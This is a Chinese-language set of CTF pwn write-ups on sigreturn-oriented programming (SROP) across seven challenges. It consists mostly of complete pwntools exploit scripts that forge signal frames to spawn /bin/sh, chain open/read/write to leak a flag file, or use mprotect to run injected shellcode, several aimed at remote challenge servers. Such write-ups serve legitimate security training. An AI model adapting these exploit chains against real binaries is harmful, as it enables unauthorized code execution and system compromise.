[CISCN 2019华南]PWN3
srop的前置条件,本题都可以找到
保护只开了nx,ida strings里面也是什么也没有
本题关键函数
此处sys_read
函数可以将读入的字符串从$rbp-0x10
处开始写入栈上,可以将/bin/sh
写入方便后续利用,所以payload1可以这样构造
b"/bin/sh\x00"+p64(0)+p64(sys_read)
而随后的sys_write
则将$rbp-0x10
往后0x30 bytes的数据打印出来,我们可以利用这一点泄露signal frame的stack addr并测算距离/bin/sh
字符串偏移,通过已知地址偏移确定/bin/sh
字符串具体位置
gdb动调可以找出来偏移为296<=>0x128 (本地调出来这么多能打通,远端就打不通,远端偏移0x118,情况跟本地反着来😅😅😅)
7/18更新:SROP的栈偏移不同系统偏移不同
测出偏移后利用pwntools自带函数SigreturnFrame()
开始构造
之后因为前面ret返回vuln
起始,需要重新输入溢出,则payload2可以这样构造
b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
随后get shell
exp如下:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./pwn")
# io=remote(b"node3.anna.nssctf.cn",28623)
vuln=0x4004ed
syscall=0x400517
mov_rax_0xf=0x4004da
# gdb.attach(io)
# pause()
payload=p64(vuln)*3
io.send(payload)
stack_addr=u64(io.recv()[0x20:0x28])
print("stack_addr: ",hex(stack_addr))
str_bin_sh=stack_addr-0x118
sigframe=SigreturnFrame()
sigframe.rax=59
sigframe.rdi=str_bin_sh
sigframe.rsi=0
sigframe.rsp=stack_addr
sigframe.rdx=0
sigframe.rip=syscall
payload=b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)
io.interactive()
360chunqiu2017_smallest
只有一次read_sys,但是直接读到rsp上
需要第一次返回时修改低1字节跳过xor rax,rax
命令,使得rax不为0,从而执行write_sys泄露栈地址,第三次时构造read往栈上读,最后构造execve执行即可
注意sleep,不能发太快,发太快远端会炸
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./smallest")
io=remote("node4.buuoj.cn",28027)
main=0x4000b0
syscall=0x4000be
payload=p64(main)*3
io.send(payload)
# gdb.attach(io)
# pause()
io.send(b"\xb3")
stack_addr=u64(io.recv()[0x8:0x10])
# stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))
#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack_addr
sigframe.rsp=stack_addr
sigframe.rdx=0x400
sigframe.rip=syscall
payload=p64(main)+p64(0)+bytes(sigframe) #八个字节padding,出去信号机制的pop影响
io.send(payload)
sleep(1) #远端防炸
payload=p64(syscall)+b"a"*7
io.send(payload)
#execve
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr+0x190
sigframe.rsp=stack_addr
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall
payload=p64(main)+p64(0)+bytes(sigframe)
payload=payload.ljust(0x190,b"\x00")+b"/bin/sh\x00"
io.send(payload)
sleep(1)
payload=p64(syscall)+b"a"*7
io.send(payload)
io.interactive()
nepctf_srop
开启沙盒,orw
此题没有syscall;ret
的gadget,只有syscall()
函数,syscall()
函数可以通过控制$rdi
来控制$rax
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
mov r8, r9
mov r9, [rsp+arg_0]
syscall
只给了一次读入的机会,我们可以通过这一次读入调用read
读到bss段实现栈迁移上打orw
orw的实现均由syscall()
函数实现
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./pwn")
elf=ELF("./pwn")
buf_addr=0x601200
syscall=0x4005B0
pop_rdi=0x400813
flag=buf_addr+0x600
io.recvuntil(b"2023!\n")
#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rdi=0 #read 系统调用号
sigframe.rsi=0 #stdin 标准输入
sigframe.rdx=buf_addr #buf
sigframe.rcx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall
payload=cyclic(0x38)+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)
gdb.attach(io)
pause()
#open
sigframe_open=SigreturnFrame()
sigframe_open.rdi=2 #open 系统调用号
sigframe_open.rsi=flag #filename
sigframe_open.rdx=0
sigframe_open.rcx=0
sigframe_open.rsp=buf_addr+0x200 # top addr
sigframe_open.rip=syscall
payload=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_open)
payload=payload.ljust(0x200,b"a")
#read
sigframe_read=SigreturnFrame()
sigframe_read.rdi=0 #read 系统调用号
sigframe_read.rsi=3 #fd
sigframe_read.rdx=flag+0x100 #buf
sigframe_read.rcx=0x50 #size
sigframe_read.rsp=buf_addr+0x400 # top addr
sigframe_read.rip=syscall
payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_read)
payload=payload.ljust(0x400,b"a")
#write
sigframe_write=SigreturnFrame()
sigframe_write.rdi=1 #write 系统调用号
sigframe_write.rsi=1 #stdout 标准输出
sigframe_write.rdx=flag+0x100 #buf
sigframe_write.rcx=0x50 #size
sigframe_write.rsp=buf_addr+0x600 # top addr
sigframe_write.rip=syscall
payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_write)
payload=payload.ljust(0x600,b"a")+b"flag.txt\x00"
io.send(payload)
io.interactive()
# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe
# Unique gadgets found: 12
rootersctf_2019_srop
给的syscall;leave;retn
的gadget
不用leak出栈地址,直接在bss段上伪造栈读入就行了,注意指定$rbp
,不然可能卡住
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.buuoj.cn",26176)
elf=ELF("./pwn")
pop_syscall=0x401032
syscall_leave_ret=0x401033
buf_addr=0x402200
sh_addr=buf_addr+0x200
io.recvuntil(b"CTF?\n")
sigframe=SigreturnFrame()
sigframe.rax=0
sigframe.rdi=0
sigframe.rsi=buf_addr
sigframe.rdx=0x800
sigframe.rsp=buf_addr
sigframe.rbp=buf_addr
sigframe.rip=syscall_leave_ret
payload=cyclic(0x88)+p64(pop_syscall)+p64(0xf)+bytes(sigframe)
io.send(payload)
# gdb.attach(io)
# pause()
sigframe_exec=SigreturnFrame()
sigframe_exec.rax=59
sigframe_exec.rdi=sh_addr
sigframe_exec.rsi=0
sigframe_exec.rdx=0
sigframe_exec.rsp=buf_addr+0x200
sigframe_exec.rip=syscall_leave_ret
payload=p64(0)+p64(pop_syscall)+p64(0xf)+bytes(sigframe_exec)
payload=payload.ljust(0x200,b"a")+b"/bin/sh\x00"
io.send(payload)
io.interactive()
a.out
整个程序如下
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000
.text:0000000000401000 ; signed __int64 start()
.text:0000000000401000 public _start
.text:0000000000401000 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000 ; LOAD:0000000000400088↑o
.text:0000000000401000 B8 01 00 00 00 mov eax, 1
.text:0000000000401005 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; "Hello Pwn"
.text:0000000000401014 BA 09 00 00 00 mov edx, 9 ; count
.text:0000000000401019 0F 05 syscall ; LINUX - sys_write
.text:000000000040101B B8 00 00 00 00 mov eax, 0
.text:0000000000401020 48 89 E6 mov rsi, rsp ; buf
.text:0000000000401023 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401028 BA 90 01 00 00 mov edx, 190h ; count
.text:000000000040102D 0F 05 syscall ; LINUX - sys_read
.text:000000000040102F C3 retn
.text:000000000040102F
.text:000000000040102F _start endp
.text:000000000040102F
.text:0000000000401030 ; ---------------------------------------------------------------------------
.text:0000000000401030 48 D1 E0 shl rax, 1
.text:0000000000401033 C3 retn
.text:0000000000401033
.text:0000000000401034 ; ---------------------------------------------------------------------------
.text:0000000000401034 B9 01 00 00 00 mov ecx, 1
.text:0000000000401039 48 31 C8 xor rax, rcx
.text:000000000040103C C3 retn
.text:000000000040103C
.text:000000000040103D ; ---------------------------------------------------------------------------
.text:000000000040103D 48 31 C0 xor rax, rax
.text:0000000000401040 C3 retn
.text:0000000000401040
.text:0000000000401040 _text ends
.text:0000000000401040
srop,需要手动构造rax的值为0xf触发sigframe
还是老样子伪造栈在bss上打,题目已经给出/bin/sh
的地址
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./a")
syscall_ret=0x40102d
str_sh=0x40200A
ret_wt=0x401014
bss_addr=0x402200
shl_rax=0x401030
xor_1=0x401034
xor_rax=0x40103D
gdb.attach(io)
pause()
#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=bss_addr
sigframe.rdx=0x800
sigframe.rsp=bss_addr
sigframe.rbp=bss_addr
sigframe.rip=syscall_ret
payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe)
io.sendafter(b"Pwn",payload)
sleep(3)
sigframe_exe=SigreturnFrame()
sigframe_exe.rax=constants.SYS_execve
sigframe_exe.rdi=str_sh
sigframe_exe.rsp=bss_addr
sigframe_exe.rbp=bss_addr
sigframe_exe.rsi=0
sigframe_exe.rdx=0
sigframe_exe.rip=syscall_ret
payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe_exe)
# payload=b"aaaaaqaaaaaaa"
io.sendline(payload)
io.interactive()
0xGame2023_srop:
0x两道题都能用这个打
fake stack打orw
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./srop-revenge")
io=remote("8.130.35.16",55003)
elf=ELF("./srop-revenge")
buf_addr=0x404800
syscall_ret=0x40138b
pop_rax=0x401390
flag=buf_addr+0x450
#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rax=0 #read 系统调用号
sigframe.rdi=0 #stdin 标准输入
sigframe.rsi=buf_addr #buf
sigframe.rdx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall_ret
payload=cyclic(0x10)+p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe)
io.send(payload)
# gdb.attach(io)
# pause()
#open
sigframe_open=SigreturnFrame()
sigframe_open.rax=2 #open 系统调用号
sigframe_open.rdi=flag #filename
sigframe_open.rsi=0
sigframe_open.rdx=0
sigframe_open.rsp=buf_addr+0x150 # top addr
sigframe_open.rip=syscall_ret
payload=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_open)
payload=payload.ljust(0x150,b"a")
#read
sigframe_read=SigreturnFrame()
sigframe_read.rax=0 #read 系统调用号
sigframe_read.rdi=3 #fd
sigframe_read.rsi=flag+0x100 #buf
sigframe_read.rdx=0x50 #size
sigframe_read.rsp=buf_addr+0x300 # top addr
sigframe_read.rip=syscall_ret
payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_read)
payload=payload.ljust(0x300,b"a")
#write
sigframe_write=SigreturnFrame()
sigframe_write.rax=1 #write 系统调用号
sigframe_write.rdi=1 #stdout 标准输出
sigframe_write.rsi=flag+0x100 #buf
sigframe_write.rdx=0x50 #size
sigframe_write.rsp=buf_addr+0x450 # top addr
sigframe_write.rip=syscall_ret
payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_write)
payload=payload.ljust(0x450,b"a")+b"flag"
io.send(payload)
io.interactive()
# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe
# Unique gadgets found: 12
htb_sick_rop:
利用read读0xf构造sigreturn,然后mprotect开写权限
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./sick_rop")
io=remote("188.166.175.58",30061)
elf=ELF("./sick_rop")
libc=elf.libc
read_text=0x401040
write_fuc=0x401017
write_text=0x401048
vuln=0x40102e
leave_ret=0x40104d
syscall_ret=0x401014
sc_addr=0x4010f8
# mprotect
sigframe=SigreturnFrame()
sigframe.rax=10 # mprotect
sigframe.rdi=0x401000 # addr
sigframe.rsi=0x1000 # len
sigframe.rdx=0x7 # flag
sigframe.rsp=0x4010f0 # ret to _start
sigframe.rip=syscall_ret
payload=cyclic(0x28)+p64(vuln)+p64(syscall_ret)+bytes(sigframe)
io.send(payload)
# gdb.attach(io)
# pause()
payload=b"a"*0xf
io.send(payload)
shellcode=asm(shellcraft.sh())
payload=cyclic(0x28)+p64(sc_addr)+shellcode
io.send(payload)
io.interactive()
# 0x000000000040104d : leave ; ret
# 0x0000000000401016 : ret
# 0x0000000000401014 : syscall ; ret